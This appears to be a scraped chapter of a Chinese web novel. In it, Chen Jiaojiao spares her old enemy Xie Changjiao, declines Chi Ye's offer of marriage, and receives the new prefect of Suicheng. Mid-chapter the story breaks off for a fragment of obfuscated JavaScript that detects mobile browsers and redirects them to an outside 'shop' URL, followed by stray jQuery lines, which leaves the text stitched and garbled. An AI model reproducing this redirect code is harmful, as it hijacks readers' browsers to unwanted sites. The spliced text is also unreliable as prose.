那人识相地举起双手，转过身来。


    陈皎皎气息很稳，手中的刀也很稳，她用刀尖挑了挑那人头顶的雨笠：“摘下来。”


    瘦长的黑影顺从地摘下雨笠。


    雨势渐大，四周嘈杂，雨水打在石阶屋瓦上，激荡出噼里啪啦的声响。


    陈皎皎看清了那人的长相：“果真是你。”


    她没有认错。


    谢长脚身着一袭黑衣，藏在幽暗潮湿的夜色雨色之中，不复先前偷袭又逼她杀死赵卿文之时的意气风发，雨水黏住他脸上的发丝，满身又湿又破，宛如一只丧家之犬，又像过街喊打的地沟老鼠。


    他低声沉笑，倒也有几分坦然：“大人，好久不见啊。”


    陈皎皎冷哼一声，将刀刃对向他是脖侧：“没能如你所愿，你很失望吧？我还好好地活着，光明正大站在你面前，你很失望吧？”


    她越说越激动，在说到“活着”的字眼之时格外用力，咬牙切齿。


    雨珠跳到那柄轻微颤抖的杀猪刀上，旋即四散，顺沿刀身落下，汇入黑漆漆的地沟里。


    谢长脚看着她，没有什么表情，说出口的话语却是绵里藏针，透着数不清的恶毒：“大人，你好好活着，卑职欣慰还来不及呢……”


    随即，他话锋猛地一转，露出藏在最深的那根尖刺：“但，斯人已逝，还请大人节哀啊……”


    陈皎皎紧紧握住刀柄，手指关节咯咯作响，她心里明白谢长脚在激她，为的无非是看到她为了死去的那人失态发狂。


    “大人，你为何发抖？”


    明知故问。


    那一口一个的“大人”喊得她想吐。


    陈皎皎抬起脚，直直往他的腹部踢去，如此大力让谢长脚始料不及，他连退数步，直到重重撞上那一堵废弃的土墙才堪堪停住，随即“哇”的一声，喷吐出一大口鲜血。


    失态又如何？


    刀如今在她的手中。


    还未等谢长脚直起身，杀猪刀已然对上了他的鼻尖：“说，他是怎么死的。”


    谢长脚的嘴里全是血沫，字句含糊不清：“死了就是死了，弄明白是怎么死的还有必要吗？”


    “这是我的事，与你无关。”


    他捂住肚子，扯出一个虚浮的笑：“他到底有什么好的？傀儡皇子，既无荣华富贵，又无自由之身，你何必如此用情至深？”


    秋雨渐渐停了，一轮残月掩在层层乌云之中。


    “用情至深？”


    陈皎皎重复着这个词，眼前浮现出与赵卿文曾在陈家村、在军营、在雪山洞穴之中相依相偎，相互扶持的画面。


    她不知道这是不是“情”。


    她只是觉得自己要救他。


    但她没能救下他。


    和在一夜之间消失的乡亲们一样。


    他也消失不见了。


    陈皎皎苦笑：“是啊，用情至深，我乐意，你也管不着。”


    谢长脚歪歪斜斜地靠在墙边，双拳紧握，他的眼底滑过一丝淡淡的落寞：“你失踪之后，安王突然抱病，军中也有传言他疯了，不久之后，他便暴毙而亡。”


    陈皎皎问了他另一个问题：“北疆雪山那次，是袁戒派你来偷袭的吗？”


    谢长脚抬眼觑着她，良久后开口说了四个字：“无可奉告。”


    “那便是了。”


    陈皎皎握刀的手松了松：“之后也是你找人救的我，对吧？”


    她说的是被自己被骗至荒野，再被红眼恶徒追杀的那次。


    谢长脚愣了一瞬，没有承认也不否认：“你说是就是吧。”


    雨停风起，吹来稀疏的水珠和丝丝凉意。


    天冷了。


    连陈皎皎也不免打了一个寒颤。


    “你走吧。”


    她把刀收回，侧身给谢长脚让出了一条路：“战事结束了，我也不会杀你。”


    他看了她很久：“你不恨我？”


    陈皎皎深深吐出一口气：“恨？”


    但恨也没用。恨不能还回任何一个死去的人。


    谢长脚的心思她今日才看得明白透彻。或许，算来算去，他也只是不想让她白白死去而已。


    她收了伞，冷冷道：“我不会恨你，因为今夜过后我们不会再见，也再无瓜葛。”


    谢长脚仰头，声音竟听上去有些哽咽：“多谢大人。”


    败局已定，他今日本该出城离开此地，却不知为何乘着夜色折身回来了。


    彼时他正挤在南下的流民人潮之中，回首又看见那道熟悉的瘦小身影，像一根任凭风吹雨打都不倒的野草一样。那时，她早已卸下了不合身的官服，换上了女儿装，依旧忙忙碌碌，不知在为谁奔波。


    谢长脚踉跄地站起，缓缓朝着巷口走去：“大人，保重。后会无期。”


    陈皎皎忽然想起了什么：“王宽子呢？”


    他顿了顿，淡淡吐出两个字：“死了。”


    死在了某片不久之后就会被后人淡忘的战场上。


    说完，二人就此擦肩而过，余生再不相见。


    拨云见残月，心下如风吹寒潭，涟漪阵阵。


    谢长脚的声音回荡在空城之中：“明日隔山岳，世事两茫茫。”①


    ……


    翌日。


    安王余部尽数除尽的消息传遍了北地。


    大仇得报之后的陈皎皎当夜便给死去的陈家村百姓们烧去了白纸，以告慰他们的在天之灵。除此之外，她还亲手用刀雕刻了一个掌心般大小的牌位，上面写了一个人名字。


    新皇任命的地方官吏身怀圣旨，走马上任绥城，着手重建这座饱受战火袭扰毁坏的残城。


    与之相对，池晔因其战功显赫，已然决定随军进京接受授官加禄。


    临别前，他来找了陈皎皎。


    二人对坐无言，静默许久。


    最终还是陈皎皎率先开口打破了沉默：“池大哥，祝贺你官运亨通。”


    她以茶代酒，举杯相邀。


    池晔应声抬手，酒盏与茶碗碰壁，瓷器相击，杯中茶酒随之轻晃。


    他润了润嗓子，脸色不大自然：“陈娘子。”


    “怎么了，池大哥？”


    他将杯中烈酒一饮而尽，壮了壮胆：“明日在下就将随军南下，唯一放心不下的，就是陈娘子……”


    他垂下头，声音越说越小：“若娘子承蒙不弃，可随在下同往都城，在下定会竭尽全力保护好娘子……”


    陈皎皎看着池晔渐红的耳根和脖颈，一时失笑，出声打断了他的絮言：“池大哥。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327857|193030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“嗯……”


    池晔抬头看她。


    她捏着茶碗，笑意浅浅：“我无意进京。”


    “好……”


    他感觉舌根发麻，嘴里浸上苦涩，仿佛陈年烈酒的后劲，他听见她接着说道：“你也不必为我担忧，我已经能保护好自己了。”


    陈皎皎挑起扁竹篾，撇了撇碗里浮起的茶沫子。


    不知不觉中，池晔又灌进了一杯酒，脸色更红了，平日里寡言少语的糙汉的眼中竟泛起些许湿漉漉的柔情蜜意：“陈娘子，其实，我与你有意……”


    闻言，陈皎皎倏地停下了手中的动作：“池大哥。”


    她遥遥望着他，眼里满是真诚：“多谢你的照拂，今生我无以为报，来世必定结草衔环。”


    此番话委婉却也决绝，未有丝毫拖泥带水之嫌。


    池晔是聪明人，他听懂了她话语中的拒绝，喟然长叹一声，随后起身作揖：“娘子保重。”


    陈皎皎双手举碗相敬：“池大哥，保重。”


    语毕，池晔告辞。


    第二日，他驾上了前往都城的车马，陈皎皎并未相送，何若并不理解，毕竟相识一场，还道她是不是太无情了些。


    陈皎皎翻看医书，替床上的何葵把脉：“没了念想才会不生挂牵。”


    何若“啧啧”两声，捏着陈皎皎的下巴左看右看，眯眼细细端详她的眉眼：“皎皎，你长大了。”


    恰逢此刻小叶子端着新熬的汤药进屋，何若转而打趣他，问他想不想要一个师爹。


    小叶子年纪小小，却一副老僧入定的淡然模样：“师父才不需要师爹呢。”


    陈皎皎瞧着何若吃瘪的样子，不禁捂嘴，随后接过还算温热的汤药，递给何葵。


    何葵比先前丰腴了不少，再不是那种同病殃殃的瘦秸秆一样的样子，她习惯了喝药，捏着鼻子将药趁热饮尽。


    陈皎皎添墨在医书上又记了几笔，嘱咐道：“小葵的病好得差不多了，在仔细调养一段时间大抵就可痊愈了。”


    何若张开双臂，搂住陈皎皎：“多谢陈大夫呀！”


    陈皎皎被她惹得起了一身鸡皮疙瘩。


    就在二人打打闹闹之际，屋子外响起一道陌生的男音：“敢问陈大夫可在此处？”


    陈皎皎起身开了柴门，外面停有一辆乌蓬青帘的简易马车，车上下来一位浓眉大眼的长衫男子：“在下求见陈大夫。”


    陈皎皎仰头：“阁下有何贵干？”


    男子不明所以，再度拱手：“在下有要事，劳烦娘子进门通报一声。”


    陈皎皎蹙着眉头，一字一句：“我就是陈大夫。”


    男子面露难色：“还请娘子切勿捉弄在下……”


    他的话还没说完，屋内的何若听不下去了，她大步走到男子面前，指着他的鼻子：“我们为何要骗你？谁人不知悬壶济世的陈大夫是女郎？你若不信，且去绥城打听清楚啊！”


    一番言语说得男子脸色一阵白一阵红，他急忙请罪：“恕在下眼拙。”


    随后，他从腰间取下一枚青玉小印，示以陈皎皎。


    说来也巧，陈皎皎当过一阵子的“朝廷官员”，自是一眼便认出了此物：“官印？”


    男子颔首，自报家门：“在下新任绥城太守，方子旭。”